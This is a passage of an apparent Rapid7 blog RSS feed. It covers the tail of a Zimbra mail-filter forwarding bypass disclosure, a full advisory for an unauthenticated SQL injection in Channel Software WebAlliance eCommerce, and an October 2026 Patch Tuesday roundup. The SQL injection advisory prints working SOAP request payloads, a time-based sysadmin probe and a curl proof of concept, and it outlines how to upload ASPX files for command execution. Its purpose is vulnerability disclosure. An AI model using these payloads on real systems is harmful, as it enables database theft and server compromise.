data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3899a1f9401eb5d8/6ace84716ac96c1aa6a0da34/zimbra-classic-view.png" data-sys-asset-uid="blt3899a1f9401eb5d8" data-sys-asset-filename="zimbra-classic-view.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 6: Classic displays the attacker's rule name but not the external destination or copied fields." data-sys-asset-alt="zimbra-classic-view.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 6: Classic displays the attacker's rule name but not the external destination or copied fields.</figcaption></div></figure><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Impact</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The flaw defeats an administrator's attempt to prevent users from forwarding mail with server-side filters. An attacker with an authenticated session can install the rule directly. It continues to disclose future message text and headers after that session expires or the password changes, without appearing in Modern's Filters view. It does not forward attachments or raw MIME.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Fix</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/vulnerabilities/CVE-2026-50055.md#patch-diffing"><span style='font-size: undefined;'>patch</span></a><span style='font-size: undefined;'> in ZCS 10.1.20 treats </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>notify</span></span><span style='font-size: undefined;'> and its RFC-compliant variant as forwarding actions and rejects them under the same account policy as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>redirect</span></span><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Remediation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Apply the latest supported Zimbra release. Zimbra's </span><a href="https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'> lists CVE-2026-73571 as fixed in ZCS 10.1.17 and CVE-2026-10631 and CVE-2026-50055 as fixed in ZCS 10.1.20. No fixed release is publicly listed for CVE-2026-93635 or CVE-2026-93637 at the time of publication, so install the security update containing those fixes when Zimbra releases it.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Upgrading does not remove filter rules already saved to accounts. Administrators should inspect the stored incoming and outgoing filter rules for external </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>actionNotify</span></span><span style='font-size: undefined;'> and RFC-compliant notify actions that violate forwarding policy; Modern's Filters view is not sufficient for this review.</span></p><h2 style="direction: ltr;">Detection and Incident Response</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A reverse proxy or web application firewall that inspects request bodies can detect multiple </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>authenticate</span></span><span style='font-size: undefined;'> aliases in one anonymous GraphQL request. Zimbra's EWS logs expose cross-user operations involving two different account UUIDs, as shown in the </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker/blob/main/vulnerabilities/CVE-2026-10631.md#indicators-of-compromise-iocs"><span style='font-size: undefined;'>EWS IoCs</span></a><span style='font-size: undefined;'>. Saved notify rules and outbound notification traffic provide more direct evidence of the Sieve path.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>EWS creates no delegation grant to revoke, Sieve rules remain as saved account state, and sender impersonation can generate ordinary Sent and MTA artifacts. Recovery must cover those server-side changes and any other mailbox reached, not only the password of the account first compromised.</span></p><h2 style="direction: ltr;">Credit</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The assessment was conducted by Jonah Burgess (</span><a href="https://linkedin.com/in/cryptocat"><span style='font-size: undefined;'>CryptoCat</span></a><span style='font-size: undefined;'>), Senior Security Researcher at Rapid7, in accordance with Rapid7's </span><a href="https://www.rapid7.com/security/disclosure/"><span style='font-size: undefined;'>vulnerability disclosure policy</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Disclosure timeline</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>April 17, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 submitted an initial report covering 23 findings.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>April 24, 2026:</strong></span><span style='font-size: undefined;'> Zimbra acknowledged the report.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>May 21, 2026:</strong></span><span style='font-size: undefined;'> Zimbra confirmed they validated 10 of the 23 findings, three of which were duplicates.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>May 28, 2026:</strong></span><span style='font-size: undefined;'> ZCS 10.1.17 fixed CVE-2026-73571.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>June 1, 2026:</strong></span><span style='font-size: undefined;'> Zimbra requested an embargo on publication until the planned ZCS 10.1.18 release in September.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>June 16 and July 7, 2026:</strong></span><span style='font-size: undefined;'> ZCS 10.1.18 and 10.1.19 were released without additional fixes from the initial report.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>July 15, 2026:</strong></span><span style='font-size: undefined;'> Zimbra and Rapid7 agreed on September 24 as the coordinated disclosure date.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>July 20, 2026:</strong></span><span style='font-size: undefined;'> ZCS 10.1.20 fixed three additional CVE-assigned findings from the initial report: CVE-2026-50054, CVE-2026-10631 and CVE-2026-50055.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>August 19, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 submitted a second report containing 32 additional findings.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>August 31, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 and Zimbra met to prioritize remediation and discuss patch verification.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 8, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 submitted a third report containing 25 lower-priority findings.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 17–18, 2026:</strong></span><span style='font-size: undefined;'> Zimbra requested 90 days from receipt of the later report before publication of full technical details. Rapid7 scheduled those later findings for November 23.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 24, 2026:</strong></span><span style='font-size: undefined;'> ZCS 10.1.21 fixed four findings from the second report. Rapid7 presented selected results and attack chains at BruCON without releasing the associated weaponized PoCs.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/ve-breaking-zimbra-identity-boundaries-part-1</link>
      <guid isPermaLink="false">blt4cb10cc2b6fc9f0f</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Phishing]]></category>
      <category><![CDATA[Vulnerability Disclosure]]></category><dc:creator><![CDATA[Jonah Burgess]]></dc:creator>
      <pubDate>Wed, 14 Oct 2026 13:00:00 GMT</pubDate>
    </item>
    <item>
      <title><![CDATA[Unauthenticated SQL Injection In Channel Software WebAlliance eCommerce]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>While performing continuous red teaming exercises through Rapid7’s Vector Command service, Rapid7 discovered </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-108065"><span style='font-size: undefined;'>CVE-2026-108065</span></a><span style='font-size: undefined;'>, an SQL Injection vulnerability (CWE-89) in Channel Software WebAlliance eCommerce.The exploit allows a malicious actor to read sensitive data from the database, or, if the database user has high privileges, run system commands on the database server. The vulnerability, scored as </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"><span style='font-size: undefined;'>CVSSv3.1 9.8</span></a><span style='font-size: undefined;'> (Critical).</span></p><h2 style="direction: ltr;">Product Description</h2><p style="direction: ltr;"><a href="https://www.channelsoftware.com/csx/ecommerce-platform"><span style='font-size: undefined;'>WebAlliance eCommerce</span></a><span style='font-size: undefined;'> by Channel Software is an all-in-one B2B e-commerce, digital catalog, and customer portal platform purpose-built for wholesale distributors and industrial manufacturers. </span></p><h2 style="direction: ltr;">Impact</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The SQL Injection exploit can be leveraged to view sensitive information in the database, such as user PII and passwords. If logged in with DB admin privileges, the vulnerability can be exploited to run system commands on the server running the database. </span></p><h2 style="direction: ltr;">Credit</h2><p style="direction: ltr;"><span style='font-size: undefined;'>This vulnerability was discovered by Marcus Chang, Security Consultant at Rapid7 and is being disclosed in accordance with </span><a href="https://www.rapid7.com/security/disclosure/"><span style='font-size: undefined;'>Rapid7's vulnerability disclosure policy</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">CVE-2026-108065 - Unauthenticated SQL Injection</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Technical Details</span><span style='color:rgb(67, 67, 67);'><strong> </strong></span></h3><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'>Rapid7 exploited the vulnerability during blackbox testing and was unable to perform root cause analysis.The sUserID parameter in the GetUser method in a SOAP request to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/preapproval.asmx</span><span style='color:rgb(31, 31, 31);font-size: undefined;'> doesn’t properly escape the user supplied sUserID. The SQL query can be escaped by inserting a single quote in the parameter. The database is running Microsoft SQL Server which allows for stacked queries. The query can be escaped with ( ‘; ) to inject completely new SQL commands. </span></p><pre language="html">POST /preapproval.asmx HTTP/2
Host: {target_site}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Soapaction: http://tempuri.org/GetUser
Content-Type: text/xml;charset=UTF-8
Content-Length: 377

&lt;soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/"&gt;
   &lt;soapenv:Header/&gt;
   &lt;soapenv:Body&gt;
      &lt;tem:GetUser&gt;
         &lt;!--type: string--&gt;
         &lt;tem:sUserID&gt;90'; { INJECT_MSSQL_STATEMENT_HERE } ;--&lt;/tem:sUserID&gt;
      &lt;/tem:GetUser&gt;
   &lt;/soapenv:Body&gt;
&lt;/soapenv:Envelope&gt;</pre><p></p><p><span style='color:rgb(31, 31, 31);font-size: undefined;'>If a single quote inserted, the SQL server will fail to parse the query and return a syntax error in the HTTP response:</span></p><pre language="html">HTTP/2 200 OK
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Server: Microsoft-IIS/10.0
X-Frame-Options: SAMEORIGIN
P3p: CP="Potato"
Date: { Date }
Content-Length: 440

&lt;?xml version="1.0" encoding="utf-8"?&gt;&lt;soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt;&lt;soap:Body&gt;&lt;GetCustomerResponse xmlns="http://tempuri.org/"&gt;&lt;GetCustomerResult&gt;Incorrect syntax near 'ZZZ'. Unclosed quotation mark after the character string ''.&lt;/GetCustomerResult&gt;&lt;/GetCustomerResponse&gt;&lt;/soap:Body&gt;&lt;/soap:Envelope&gt;</pre><p><br/><span style='color:rgb(31, 31, 31);font-size: undefined;'>Information can be extracted using time based SQL injection payloads. For example, a query can be injected to force the database to sleep for 2 seconds if the database user is a sysadmin:</span></p><pre language="html">POST /preapproval.asmx HTTP/2
Host: {target_site}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Soapaction: http://tempuri.org/GetUser
Content-Type: text/xml;charset=UTF-8
Content-Length: 377

&lt;soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/"&gt;
   &lt;soapenv:Header/&gt;
   &lt;soapenv:Body&gt;
      &lt;tem:GetUser&gt;
         &lt;!--type: string--&gt;
         &lt;tem:sUserID&gt;90';IF IS_SRVROLEMEMBER('sysadmin') = 1
    WAITFOR DELAY '00:00:02';--
&lt;/tem:sUserID&gt;
      &lt;/tem:GetUser&gt;
   &lt;/soapenv:Body&gt;
&lt;/soapenv:Envelope&gt;</pre><p><br/><span style='color:rgb(31, 31, 31);font-size: undefined;'>If the database user is sysadmin, SQL Ole Automation can be used to upload a file. </span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt619fc91f584314a1/6acf7ee8e271b45d24007340/cswa_sql1.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="cswa_sql1.png" asset-alt="cswa_sql1.png" style="text-align: center; width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt619fc91f584314a1/6acf7ee8e271b45d24007340/cswa_sql1.png" data-sys-asset-uid="blt619fc91f584314a1" data-sys-asset-filename="cswa_sql1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="cswa_sql1.png" sys-style-type="display"/></figure><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta1b167db18315ac8/6acf7ee83ac0951d8c98223c/cswa_sql2.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="cswa_sql2.png" asset-alt="cswa_sql2.png" style="text-align: center; width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta1b167db18315ac8/6acf7ee83ac0951d8c98223c/cswa_sql2.png" data-sys-asset-uid="blta1b167db18315ac8" data-sys-asset-filename="cswa_sql2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="cswa_sql2.png" sys-style-type="display"/></figure><p></p><p><span style='color:rgb(31, 31, 31);font-size: undefined;'>If the database is running from the same server as the web application, ASPX files can be uploaded. They can then be browsed to run their code and perform system commands on the server.</span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf81a5f118c8b37d6/6acf7ee87963af6a616cd273/cswa_sql3.png" position="center" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="cswa_sql3.png" asset-alt="cswa_sql3.png" style="text-align: center; width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf81a5f118c8b37d6/6acf7ee87963af6a616cd273/cswa_sql3.png" data-sys-asset-uid="bltf81a5f118c8b37d6" data-sys-asset-filename="cswa_sql3.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="cswa_sql3.png" sys-style-type="display"/></figure><p></p><h3 style="direction: ltr;"><span style='color:rgb(31, 31, 31);'>Proof-of-Concept (POC) Example:</span></h3><p></p><p style="direction: ltr;"><span style='color:rgb(31, 31, 31);font-size: undefined;'><strong>Curl POC:</strong></span></p><pre language="shell-session">curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Soapaction: http://tempuri.org/GetCustomer' -H $'Content-Type: text/xml;charset=UTF-8' \
    --data-binary $'&lt;soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:tem=\"http://tempuri.org/\"&gt;\x0d\x0a   &lt;soapenv:Header/&gt;\x0d\x0a   &lt;soapenv:Body&gt;\x0d\x0a      &lt;tem:GetCustomer&gt;\x0d\x0a         &lt;!--type: string--&gt;\x0d\x0a         &lt;tem:sCustID&gt;90\'; { YOUR_SQL_STATEMENT_HERE } ;-- &lt;/tem:sCustID&gt;\x0d\x0a      &lt;/tem:GetCustomer&gt;\x0d\x0a   &lt;/soapenv:Body&gt;\x0d\x0a&lt;/soapenv:Envelope&gt;' \
    $'https://{target_host}/preapproval.asmx'</pre><p></p><h2><span style='color:rgb(67, 67, 67);'>Remediation</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Block access to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/preapproval.asmx</span><span style='font-size: undefined;'>.  </span></p><h2>Disclosure Timeline</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>July 13 2026</strong></span><span style='font-size: undefined;'>: Issue discovered by Marcus Chang, and exploitation reported to the Vector Command customer. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>August 28, 2026:</strong></span><span style='font-size: undefined;'> Initial contact with Channel Software.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 8, 15, and 29, 2026: </strong></span><span style='font-size: undefined;'>Follow up email sent to Channel Software to confirm initial contact and provide details of the correct channel to share the details of the vulnerability. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 9, 2026: </strong></span><span style='font-size: undefined;'>Follow up email sent to Channel Software informing them of public disclosure on October 14 and assignment of CVE, along with a request for a vendor statement. Rapid7 received no response from Channel Software. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 14, 2026:</strong></span><span style='font-size: undefined;'><em> </em></span><span style='font-size: undefined;'>Public disclosure via publication of this blog post.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/ve-unauthenticated-sql-injection-in-channel-software-weballiance-ecommerce</link>
      <guid isPermaLink="false">bltfa0cb97154252fc4</guid>
      <category><![CDATA[Rapid7 Disclosure]]></category>
      <category><![CDATA[Vulnerability Disclosure]]></category>
      <category><![CDATA[Vector Command]]></category><dc:creator><![CDATA[Marcus Chang]]></dc:creator>
      <pubDate>Wed, 14 Oct 2026 12:47:05 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Patch Tuesday - October 2026]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Microsoft is publishing 1,413 own-product vulnerabilities on </span><a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Oct"><span style='font-size: undefined;'>October 2026 Patch Tuesday</span></a><span style='font-size: undefined;'>, including 1,102 vulnerabilities in Windows. Anyone who enjoyed last month’s record-setting Patch Tuesday will love the October 2026 edition, because it’s much bigger still. As Rapid7 has noted over the course of 2026, there is every reason to suppose that vulnerability volumes will continue to rise. Microsoft is aware of exploitation in the wild for just one of the vulnerabilities published today, as well as public disclosure for two others.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Windows Shell: zero-day security feature bypass</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The Windows Shell is Microsoft’s term for the GUI interaction logic for the entire OS provided by explorer.exe and associated libraries and APIs, and for the </span><a href="https://www.rapid7.com/blog/post/em-patch-tuesday-february-2026/"><span style='font-size: undefined;'>second time this year</span></a><span style='font-size: undefined;'>, the Windows Shell is the site of an exploited-in-the-wild zero-day vulnerability. Today’s specimen is </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-96951"><span style='font-size: undefined;'>CVE-2026-96951</span></a><span style='font-size: undefined;'>. Once again, the immediate prize for an attacker is a Mark of the Web (MOTW) bypass. What this means is that Windows won’t provide the user with a dialog explaining that Windows protected their PC, because in this case, it didn’t. Exploitation requires that a user opens a specially crafted malicious file or visits an attacker-controlled site, so the evergreen advice about being careful what you click remains valid. Fans of vintage operating systems should note that Windows Server 2012 doesn’t receive a patch, although Server 2012 R2 does. The advisory acknowledges reporters from multiple organizations, although none from within Microsoft. The vulnerability also affected Microsoft’s Outlook.com cloud services, although Outlook.com was patched in a build dated several weeks ago.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>.NET Framework: zero-day security feature bypass</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Microsoft is aware of some level of public disclosure of </span><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108398"><span style='font-size: undefined;'>CVE-2026-108398</span></a><span style='font-size: undefined;'>, a .NET Framework security feature bypass. Exploitation requires an attacker with an existing foothold to register a malicious .NET assembly for loading by a protected process, bypassing Windows Defender Application Control (WDAC) enforcement. Microsoft </span><a href="https://techcommunity.microsoft.com/blog/windows-itpro-blog/skilling-snack-application-control-for-windows/3982470"><span style='font-size: undefined;'>rebranded WDAC as App Control for Business</span></a><span style='font-size: undefined;'> several years ago, so you may know it under its new name. The </span><a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/appcontrol"><span style='font-size: undefined;'>Microsoft Learn page for Application Control for Windows</span></a><span style='font-size: undefined;'> points out that “your organization's data is one of its most valuable assets... and threat actors want it”, and this is, of course, correct. The patch presumably removes an attacker-controlled location from the list of places .NET Framework searches for registered assemblies, which are typically contained within DLLs and executables. If any further indications were needed that vulnerability volumes are increasing industry-wide, this is only the second month that Microsoft has published vulnerabilities with six-digit CVE numbers, but these extra-large CVEs will seem unremarkable from now on.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Outlook: multiple no-interaction RCEs</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The sheer volume of vulnerabilities in recent Patch Tuesday releases can easily include several examples of potentially concerning vulnerabilities, each of which might have been more remarkable in its own right back when volumes were lower. Today, Microsoft has published five separate remote code execution vulnerabilities in Outlook where the preview pane is a vector, meaning that simply scrolling past an email in the Outlook reading pane would be sufficient to trigger exploitation. Worse still, Outlook might helpfully display the preview without any user interaction at all. All five of </span><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70242"><span style='font-size: undefined;'>CVE-2026-70242</span></a><span style='font-size: undefined;'>, </span><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97749"><span style='font-size: undefined;'>CVE-2026-97749</span></a><span style='font-size: undefined;'>, </span><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97016"><span style='font-size: undefined;'>CVE-2026-97016</span></a><span style='font-size: undefined;'>, </span><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88156"><span style='font-size: undefined;'>CVE-2026-88156</span></a><span style='font-size: undefined;'>, and </span><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70291"><span style='font-size: undefined;'>CVE-2026-70291</span></a><span style='font-size: undefined;'> receive fixes in the same patches. No-interaction Outlook preview pane vulnerabilities can sometimes feature prominently in state-backed actor campaigns, with </span><a href="https://www.rapid7.com/blog/post/2023/03/14/patch-tuesday-march-2023/"><span style='font-size: undefined;'>CVE-2023-23397 as a prominent example in this category</span></a><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Edge: security updates unclear</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>In September 2026, Microsoft did not appear to publish any desktop browser security advisories between the start of the month and Patch Tuesday. In October, a slightly different approach has emerged: several recent entries in the </span><a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-relnotes-security#october-12-2026"><span style='font-size: undefined;'>Edge security updates release notes</span></a><span style='font-size: undefined;'> mention new versions of Edge which incorporate the latest updates from the Chromium project, but without detailing which vulnerabilities have been fixed, stating instead, “CVE's will be added as soon as available,” and directing readers to the Security Update Guide (SUG). At the time of writing, the SUG lists a total of zero vulnerabilities addressed in Edge in the first 13 days of October, and the “CVE’s added soon” message has been up for over a week. As a result, defenders have no obvious way of knowing which recent vulnerabilities Microsoft has addressed in Edge.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Microsoft lifecycle update</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>In Microsoft product lifecycle news, today sees </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-11-home-and-pro"><span style='font-size: undefined;'>Windows 11 24H2 Home & Pro</span></a><span style='font-size: undefined;'> reach end of servicing, while </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-server-2022"><span style='font-size: undefined;'>Windows Server 2022</span></a><span style='font-size: undefined;'> moves to extended support, with free critical security updates continuing but no further feature development. Also this month, the final curtain falls for </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-server-2012"><span style='font-size: undefined;'>Windows Server 2012</span></a><span style='font-size: undefined;'> and </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/windows-server-2012-r2"><span style='font-size: undefined;'>2012 R2</span></a><span style='font-size: undefined;'> with the expiry of the third and final year of cash-for-updates Extended Security Update (ESU) program for these aging workhorses. Microsoft lists the end of ESU Year 3 on October 14, 2026, in both cases. Microsoft has a long history of providing at least some security patches for products beyond the end of support, with Server 2008 being a case in point, but the time to move past Server 2012 is now. </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/office-2021"><span style='font-size: undefined;'>Office 2021</span></a><span style='font-size: undefined;'> also moves into retirement on October 14; this includes the </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/office-ltsc-2021"><span style='font-size: undefined;'>Long-Term Servicing Channel</span></a><span style='font-size: undefined;'>, with no ESU available in that case.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Also on October 15, 2026, </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/exchange-server-2016"><span style='font-size: undefined;'>Exchange Server 2016</span></a><span style='font-size: undefined;'> and </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/exchange-server-2019"><span style='font-size: undefined;'>Exchange Server 2019</span></a><span style='font-size: undefined;'> finally join the “no ESU” club, after two previous six-month reprieves. Microsoft seems to really mean it this time, since any future Exchange Server CVEs released by MSRC will stop mentioning Exchange 2016 and 2019. However, Microsoft </span><a href="https://techcommunity.microsoft.com/blog/exchange/announcing-period-2-exchange-20162019-extended-security-update-esu-program/4511603"><span style='font-size: undefined;'>points out</span></a><span style='font-size: undefined;'> that a lack of warnings does not mean those unsupported versions are not vulnerable to future security issues.</span></p><h2>Summary charts</h2><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt547475bb61ba01bd/6acea79f6f7ed145b0bf496d/2026-10-vuln_count_component.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-10-vuln_count_component.png" asset-alt="2026-10-vuln_count_component.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt547475bb61ba01bd/6acea79f6f7ed145b0bf496d/2026-10-vuln_count_component.png" data-sys-asset-uid="blt547475bb61ba01bd" data-sys-asset-filename="2026-10-vuln_count_component.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-10-vuln_count_component.png" sys-style-type="display"/></figure><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt92ddeb828db02521/6acea79ff0773333f8f88b9e/2026-10-vuln_count_impact-component-heatmap.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-10-vuln_count_impact-component-heatmap.png" asset-alt="2026-10-vuln_count_impact-component-heatmap.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt92ddeb828db02521/6acea79ff0773333f8f88b9e/2026-10-vuln_count_impact-component-heatmap.png" data-sys-asset-uid="blt92ddeb828db02521" data-sys-asset-filename="2026-10-vuln_count_impact-component-heatmap.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-10-vuln_count_impact-component-heatmap.png" sys-style-type="display"/></figure><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteb3c074aa3cbfb69/6acea79f98f3c8baf3b7a2a1/2026-10-vuln_count_impact.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-10-vuln_count_impact.png" asset-alt="2026-10-vuln_count_impact.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteb3c074aa3cbfb69/6acea79f98f3c8baf3b7a2a1/2026-10-vuln_count_impact.png" data-sys-asset-uid="blteb3c074aa3cbfb69" data-sys-asset-filename="2026-10-vuln_count_impact.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-10-vuln_count_impact.png" sys-style-type="display"/></figure><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/em-patch-tuesday-october-2026</link>
      <guid isPermaLink="false">bltf406d538269189d7</guid>
      <category><![CDATA[Patch Tuesday]]></category>
      <category><![CDATA[Vulnerability Management]]></category><dc:creator><![CDATA[Adam Barnett]]></dc:creator>
      <pubDate>Tue, 13 Oct 2026 21:40:27 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9952397815d84355/6849acff3860836b5c360685/patch-tuesday-repeated.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Ivanti Connect Secure zero-day exploited in the wild (CVE-2026-104935)]]></title>
